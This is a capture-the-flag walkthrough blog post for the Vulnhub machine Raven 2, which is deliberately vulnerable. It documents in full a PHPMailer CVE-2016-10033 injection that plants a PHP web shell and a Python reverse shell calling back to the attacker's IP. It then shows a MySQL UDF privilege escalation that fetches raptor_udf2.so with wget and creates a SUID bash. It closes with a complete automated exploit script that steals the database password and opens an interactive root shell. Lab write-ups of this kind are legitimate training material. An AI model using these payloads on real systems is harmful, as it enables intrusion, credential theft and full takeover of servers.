Hi everyone, today we’re doing Raven 2 from Vulnhub, and after previous post, I decided to write 0Click RCE exploits for every OSWE Like machine, so this one will be no different. you can get this machine from here
Description of machine says that there’s 4 flags, so we’ll try to get them all.
if you want to see other OSWE like machine writeups from me, you can find it here
so as usual, we start with basic recon
Recon:
Discovering IP, Open Ports And Running Services
to find the IP of the machine, we’ll run sudo netdiscover
and wait for results.
Currently scanning: 192.168.100.0/16 | Screen View: Unique Hosts
19 Captured ARP Req/Rep packets, from 4 hosts. Total size: 1140
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.80.1 00:50:56:c0:00:08 14 840 VMware, Inc.
192.168.80.2 00:50:56:f9:e9:d7 1 60 VMware, Inc.
192.168.80.129 00:0c:29:ec:45:b3 3 180 VMware, Inc.
192.168.80.254 00:50:56:f7:0d:a3 1 60 VMware, Inc.
and, we got the IP, 192.168.80.129
is one that we need,
Running nmap
so we run nmap 192.168.80.129 -p- -v -sC -sV --open -oA nmap/Fullscan
and here is the results
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 2681c1f35e01ef93493d911eae8b3cfc (DSA)
| 2048 315801194da280a6b90d40981c97aa53 (RSA)
| 256 1f773119deb0e16dca77077684d3a9a0 (ECDSA)
|_ 256 0e8571a8a2c308699c91c03f8418dfae (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 37355/tcp status
| 100024 1 41270/udp status
| 100024 1 44297/udp6 status
|_ 100024 1 46981/tcp6 status
37355/tcp open status 1 (RPC #100024)
Getting flags
Getting 1st flag
After our nmap scan, we see that, port 80 (HTTP) is open
I usually run FFUF to see if there’s interesting going on
└─$ ffuf -u http://raven.local/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -fl 12
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://raven.local/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response lines: 12
________________________________________________
[Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 1ms]
* FUZZ: js
[Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 2ms]
* FUZZ: css
[Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 1ms]
* FUZZ: fonts
[Status: 200, Size: 16819, Words: 1136, Lines: 444, Duration: 0ms]
* FUZZ: .
[Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 0ms]
* FUZZ: manual
[Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 1ms]
* FUZZ: wordpress
[Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 1ms]
* FUZZ: vendor
[Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 99ms]
* FUZZ: img
[Status: 200, Size: 18436, Words: 53, Lines: 84, Duration: 0ms]
* FUZZ: .DS_Store
:: Progress: [43007/43007] :: Job [1/1] :: 128 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
I've highlighted the probably interesting stuffs
(I just wanted to note that, I’m writing this posts while also doing the machines for the first time)
on wordpress folder we see what we expected, it’s wordpress website but css and js doesn’t work, we’ll get back to it later.
in vendors folder, we see file PATH, giving us full path of the web service and first flag and some interesting related to PHPMailer.
Content of PATH file:
/var/www/html/vendor/
flag1{a2c1f6...43e21}
changelog.md tells us that what we see is PHPMailer Version 5.2.17 (December 9th 2016)
Getting 2nd flag (And RCE)
If we’ll search for PHPMailer 5.2.17 Explot, we’ll find this repo https://github.com/opsxcq/exploit-CVE-2016-10033
it says that versions before 5.2.18 are vulnerable to remote code execution and fully in details explains why that happens.
long story short, there’s no filter with sender email field, allowing you to inject parameters, and with that you can achieve RCE~
after reading some, I found this one https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
in there we can find the following text
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';
$msg_body = "<?php phpinfo(); ?>";
I copied values and modified them to following:
this one will go in email field:
"attacker\" -oQ/tmp/ -X/var/www/html/vendor/code.php some"@email.com
and this one will go in name field:
<?php system($_GET['cmd']); ?>
after that all we needed was to submit contact form at http://raven.local/contact.php with some dummy data to catch request in burp
after that, I urlencoded our values and modified request, so at the end, whole request was looking like this
POST /contact.php HTTP/1.1
Host: raven.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 345
Origin: http://raven.local
Connection: close
Referer: http://raven.local/contact.php
action=submit&name=test&email=%22%61%74%74%61%63%6b%65%72%5c%22%20%2d%6f%51%2f%74%6d%70%2f%20%2d%58%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%76%65%6e%64%6f%72%2f%63%6f%64%65%2e%70%68%70%20%20%73%6f%6d%65%22%40%65%6d%61%69%6c%2e%63%6f%6d&message=%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%20%3f%3e%0a
sending that request created file in vendors folder just as we wanted, called code.php and it was containing email logs, but most importantly the parameter we sent as message was php tag, so it must be working, to verify that, I’ve opened url http://raven.local/vendor/code.php?cmd=ifconfig and pressed CTRL+U to see formatted output, after scrolling for a bit, I saw network configuration, which meant, we had command execution on machine.
now all we had to do was to get the reverse shell.
so I started nc listener on my side by running nc -lvnp 4444
and I urlencoded tcp reverse shell payload
export RHOST="192.168.80.128";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
and opened
http://raven.local/vendor/code.php?cmd=export%20RHOST%3D%22192.168.80.128%22%3Bexport%20RPORT%3D4444%3Bpython%20-c%20%27import%20sys%2Csocket%2Cos%2Cpty%3Bs%3Dsocket.socket%28%29%3Bs.connect%28%28os.getenv%28%22RHOST%22%29%2Cint%28os.getenv%28%22RPORT%22%29%29%29%29%3B%5Bos.dup2%28s.fileno%28%29%2Cfd%29%20for%20fd%20in%20%280%2C1%2C2%29%5D%3Bpty.spawn%28%22bash%22%29%27
and I received reverse shell on my listener!
and in /var/www/ directory, we got second flag!
Getting 3rd Flag
Without RCE
on port 80, we see a Raven Security’s page, and on menu we see they have a blog at : http://192.168.80.129/wordpress/
but CSS doesn’t work, by opening a source code of the page, we see JS and CSS file are being loaded from raven.local/wordpress, so we add 192.168.80.129 raven.local
into our /etc/hosts/
file and open http://raven.local in our browser, and we see wordpress.
so we run wpscan, a while ago they decided to switch up to kind of a paid version, so you’ll need API token to see plugin vulnerabilities, they have free plan with 25 requests limit.
25 requests is totally enough for us, so go ahead and create one, get your token key and run
┌──(z3r0㉿kali)-[~/Desktop/Vulnhub/Raven 2]
└─$ wpscan --url http://raven.local/wordpress/ --enumerate u,p --plugins-detection aggressive --api-token 65kyVGNnX8HWA....
And here’s our results
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://raven.local/wordpress/ [192.168.80.129]
[+] Started: Sat Jun 24 12:21:26 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://raven.local/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://raven.local/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://raven.local/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://raven.local/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.8.22 identified (Outdated, released on 2023-05-16).
| Found By: Rss Generator (Passive Detection)
| - http://raven.local/wordpress/index.php/feed/, https://wordpress.org/?v=4.8.22
| - http://raven.local/wordpress/index.php/comments/feed/, https://wordpress.org/?v=4.8.22
[+] WordPress theme in use: twentyseventeen
| Location: http://raven.local/wordpress/wp-content/themes/twentyseventeen/
| Last Updated: 2023-03-29T00:00:00.000Z
| Readme: http://raven.local/wordpress/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 3.2
| Style URL: http://raven.local/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.8.22
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://raven.local/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.8.22, Match: 'Version: 1.3'
[+] Enumerating Most Popular Plugins (via Aggressive Methods)
Checking Known Locations - Time: 00:00:00 <=================================================================================================================================> (1500 / 1500) 100.00% Time: 00:00:00
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] akismet
| Location: http://raven.local/wordpress/wp-content/plugins/akismet/
| Last Updated: 2023-06-21T14:59:00.000Z
| Readme: http://raven.local/wordpress/wp-content/plugins/akismet/readme.txt
| [!] The version is out of date, the latest version is 5.2
|
| Found By: Known Locations (Aggressive Detection)
| - http://raven.local/wordpress/wp-content/plugins/akismet/, status: 200
|
| Version: 3.3.2 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://raven.local/wordpress/wp-content/plugins/akismet/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://raven.local/wordpress/wp-content/plugins/akismet/readme.txt
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <=====================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] michael
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://raven.local/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
as we can see from scan results, Uploads directory have directory listing enabled, following that will give us 3rd flag
http://raven.local/wordpress/wp-content/uploads/2018/11/flag3.png
with RCE
after achieving RCE while getting 2nd flag, we can just run find and grep command to search flags in the system.
to do that, we’ll run
grep -iRl 'flag.{.*}' /var/www
to search flags with content
and giving as result of two known flags
/var/www/html/vendor/PATH
/var/www/flag2.txt
andfind / -name "flag*" 2>/dev/null
to search flags with name
giving us 3rd flag.
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
Getting 4th flag (And root)
It’s logical to assume that 4th flag is in root or users directory, otherwise our find command would be allowed to find it.
since we had RCE, I checked files of the wordpress and turns out, db is running as root and also we have password of it from wp-config.php
since we’re root user of mysql, we can abuse it’s functionality and force it to execute commands by loading the “fake” library
you can get fake library’s code from here, it’s called raptor_udf2.c
https://github.com/1N3/PrivEsc/blob/master/mysql/raptor_udf2.c
to achieve command execution via mysql we’ll have to do few things
- compile given C code as .so file
- load content of .so file in dummy table to then dump it into special folder of mysql (where libraries are being stored)
- load .so file as library in mysql
let’s do it one by one
Compiling code
it’s fairly easy step, you just download file and compile it with gcc
gcc -g -c raptor_udf2.c
gcc -g -shared -W -o raptor_udf2.so raptor_udf2.o -lc
after that, you’ll see we have library file called raptor_udf2.so
Moving file into “special” directory
first we’ll need to move .so file into target system, to do that cd into /tmp folder of target system
and them start HTTP server in folder where you have .so file with python3 -m HTTP.Server
in target system, run wget http://192.168.80.128/raptor_udf2.so
where 192.168.80.128 is your IP address.
after that, we call mysql with mysql -u root -p
and enter password we got from wordpress config
after that we run multiple commands in mysql shell
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
in our version of mysql, that special directory was /usr/lib/mysql/plugin, if you wonder how can you get what’s a proper dir, you can always try to load non existing so file and you’ll see full path in error message for example
mysql> create function SillyFunction returns integer soname 'nonexisting.so';
create function SillyFunction returns integer soname 'nonexisting.so';
ERROR 1126 (HY000): Can't open shared library 'nonexisting.so' (errno: 0 /usr/lib/mysql/plugin/nonexisting.so: cannot open shared object file: No such file or directory)
mysql>
Getting root & 4th flag
once we do that, do_system is our magical function executing system commands, and since MySQL service runs as root user of system (NOT DB USER), those commands will be executed as root.
so we use that to create suid copy of bash accessible for us, and then call it with our low privileged reverse shell
mysql> select do_system('cp /bin/bash /tmp/bash');
mysql> select do_system('chmod 777 /tmp/bash');
mysql> select do_system('chmod u+s /tmp/bash');
mysql> exit
then we run /tmp/bash -p
and we got root!
and Since it’s OSWE Like Machine, I’ve written a 0Click RCE Exploit
and here’s the code
# Raven 2 - Vulnhub Machine 0Click RCE Exploit
# https://www.vulnhub.com/entry/raven-2,269/
# Given exploit PHPMailer vulnerability to achieve code execution
# Then using mysql exploit to gain root access
# for a reverse shell, This time I went with proper way and used sockets
# https://github.com/Z3R013x/OSWE-Like-0Click
# https://pwnit.io/category/oswe-like-machines/
import requests
import argparse
from string import ascii_lowercase
import random
from http.server import BaseHTTPRequestHandler, HTTPServer
from threading import Timer
import socket
import base64
from time import sleep
import threading
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def print_warning(text):
print(f"{bcolors.WARNING}[-] {text}{bcolors.ENDC}")
def print_success(text):
print(f"{bcolors.OKGREEN}[+] {text}{bcolors.ENDC}")
def print_info(text):
print(f"{bcolors.OKCYAN}[*] {text}{bcolors.ENDC}")
def print_fail(text):
print(f"{bcolors.FAIL}[!] {text}{bcolors.ENDC}")
parser = argparse.ArgumentParser(description='exploit configuration',
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-t', '--rhost', type=str, help="Target IP", required=True)
parser.add_argument('-rp', '--rport', type=int, help="Target Port", default="80", required=False)
parser.add_argument('-l', '--lhost', type=str, help="Local IP", required=True)
parser.add_argument('-lp', '--lport', type=int, help="Local Port", default="4444", required=False)
parser.add_argument('-d', '--debug-proxy', type=str,
help="if passed, all requests will go trough proxy please provide HTTP proxy with format of ip:port",
required=False,
default="")
parser.add_argument('-hp', '--httpport', type=int, help="Local Port for HTTP Server", default="8000", required=False)
args = parser.parse_args()
proxy = {"http": f"{args.debug_proxy}"}
full_path = ""
flags = []
class FileServerHandler(BaseHTTPRequestHandler):
def do_GET(self):
try:
raptor_lib = open("raptor_udf2.so", "rb").read()
except FileNotFoundError:
print_warning("precompiled raptor_udf2.so is required in order to successfully exploit the vulnerability")
exit(1)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
# Send the file content as the response
self.wfile.write(raptor_lib)
class ServerThread(threading.Thread):
def __init__(self, server):
threading.Thread.__init__(self)
self.server = server
def run(self):
print("Starting server...")
self.server.serve_forever()
def stop(self):
self.server.shutdown()
print("Server stopped.")
def run_server(lhost, port=8000, server_class=HTTPServer, handler_class=FileServerHandler):
server_address = (lhost, port)
httpd = HTTPServer(server_address, FileServerHandler)
server_thread = ServerThread(httpd)
return server_thread
def trigger_webshell(url):
try:
requests.get(f"{url}")
except requests.exceptions.Timeout:
pass # expected one
except Exception as e:
print_fail(f"Unexpected exception occured: {str(e)}")
def get_first_flag(rhost, rport, proxy):
# easy one, it's exposed and can be reached without any access
global full_path
try:
response = requests.get(f"http://{rhost}:{rport}/vendor/PATH", proxies=proxy)
if response.status_code == 200:
response_lines = response.text.splitlines()
full_path = response_lines[0]
flags.append(response_lines[1].strip())
print_success("First flag captured successfully")
except Exception as e:
print_fail("Something went wrong, we got exception")
print_fail(str(e))
exit(1)
def get_rev_shell(rhost, rport, lhost, lport, fullpath, proxy):
# Exploiting flaw in PHPMailer to achieve 2nd flag.
# also, prints public location of 3rd flag.
file_name = ''.join(random.choice(ascii_lowercase) for i in range(16)) + ".php"
print_info(f"Uploading {file_name} into {fullpath} directory of target")
email = f'"attacker\\" -oQ/tmp/ -X{fullpath.strip()}{file_name} some"@email.com'
paylaod = ""
request_data = {"action": "submit",
"name": "Test",
"email": email,
"message": paylaod
}
response = requests.post(f"http://{rhost}:{rport}/contact.php", data=request_data, proxies=proxy)
if response.status_code == 200:
# Check if file was created
backdoor_url = f"http://{rhost}:{rport}/vendor/{file_name}"
backdoor_response = requests.get(backdoor_url)
if backdoor_response.status_code == 200:
print_success("backdoor was uploaded successfully")
else:
print_fail("backdoor was not uploaded, exiting")
exit(1)
else:
print_fail("Something went wrong, please make sure RHOST and RPORT parameters are correct")
exit(1)
rev_shell_payload = f'python -c \'exec """\nimport socket\nimport subprocess as sp\ns = socket.socket(' \
f')\ns.connect(("{lhost}", {lport}))\nwhile True:\n comm = s.recv(1024*20).decode()\n p = ' \
f'sp.Popen(comm, shell=True, stdout=sp.PIPE, stderr=sp.STDOUT)\n s.send(p.communicate()[' \
f'0])\n"""\''
print_info("Starting socket listener for rev. shell")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((lhost, lport))
s.listen()
print_info("Triggering reverse shell")
t = Timer(1, trigger_rev_shell, [backdoor_url, rev_shell_payload, proxy])
t.start()
conn, addr = s.accept()
print_success("We got reverse shell")
conn.send("cat /var/www/flag2.txt".encode())
data = conn.recv(1024)
print_success(f"We Got 2nd Flag, {data.decode().strip()}")
flags.append(data.decode().strip())
print_success(f"3rd flag - http://{rhost}:{rport}/wordpress/wp-content/uploads/2018/11/flag3.png")
flags.append(f"http://{rhost}:{rport}/wordpress/wp-content/uploads/2018/11/flag3.png")
return conn
def trigger_rev_shell(backdoor_url, payload, proxy):
try:
requests.get(backdoor_url, params={"cmd": payload}, proxies=proxy)
except requests.exceptions.Timeout:
# Expected one
pass
def exploit_mysql(lhost, server_port, socket_connection):
print_info("Starting HTTPServer to transport raptor_udf2.so exploit into target machine")
server_thread = run_server(lhost, server_port)
server_thread.start()
socket_connection.send(f"wget http://{lhost}:{server_port} -O /tmp/raptor_udf2.so".encode())
server_thread.join(timeout=2) # Shutdown after 2 seconds
output = socket_connection.recv(1024).decode()
print_info("Output from target:\n" + output)
print_info("Stopping HTTP Server")
# Getting DB Pass
print_info("Getting DB Pass")
socket_connection.send(f"cat ../wordpress/wp-config.php | grep DB_PASSWORD".encode())
db_pass_line = socket_connection.recv(1024).decode()
db_pass = db_pass_line.split("'DB_PASSWORD', '", )[1].split("');")[0].strip()
print_success(f"Got DB Password: {db_pass}")
print_info("Exploiting MYSQL to create SUID Copy of bash as root")
random_name = ''.join(random.choice(ascii_lowercase) for _ in range(6))
socket_connection.send(f"mysql -u root -p{db_pass} -e \""
f"use mysql;"
f"create table {random_name}(line blob);"
f"insert into {random_name} values(load_file('/tmp/raptor_udf2.so'));"
f"select * from {random_name} into dumpfile '/usr/lib/mysql/plugin/{random_name}.so';"
f"DROP FUNCTION do_system;" # In case if it already exists
f"create function do_system returns integer soname '{random_name}.so';"
f"select do_system('cp /bin/bash /tmp/{random_name}');"
f"select do_system('chmod 777 /tmp/{random_name}');"
f"select do_system('chmod u+s /tmp/{random_name}');"
f"select do_system('chmod u+s /tmp/{random_name}');"
f"\"".encode())
print_info(socket_connection.recv(1024).decode())
print_info(f"Created SUID copy of bash in tmp folder with name {random_name}")
print_info("Calling bash copy to get root flag")
socket_connection.send(f"/tmp/{random_name} -p -c \"cat /root/flag4.txt\"".encode())
flag_4 = socket_connection.recv(1024).decode().strip().split("\n")[5]
print_success(f"The Final 4th flag is {flag_4.strip()}")
flags.append(flag_4)
print_info("All four flags:")
for flag in flags:
print_success(flag)
print_info("Spawning shell as root (Little Unstable)")
while True:
command = input("#: ")
root_command = f"/tmp/{random_name} -p -c '{command}'"
socket_connection.send(root_command.encode())
output = socket_connection.recv(1024).decode()
print(output)
if __name__ == "__main__":
get_first_flag(args.rhost, args.rport, proxy)
socket_connection = get_rev_shell(args.rhost, args.rport, args.lhost, args.lport, full_path, proxy)
print_info("Rooting service to achieve 4th flag")
exploit_mysql(args.lhost, args.httpport, socket_connection)
exit()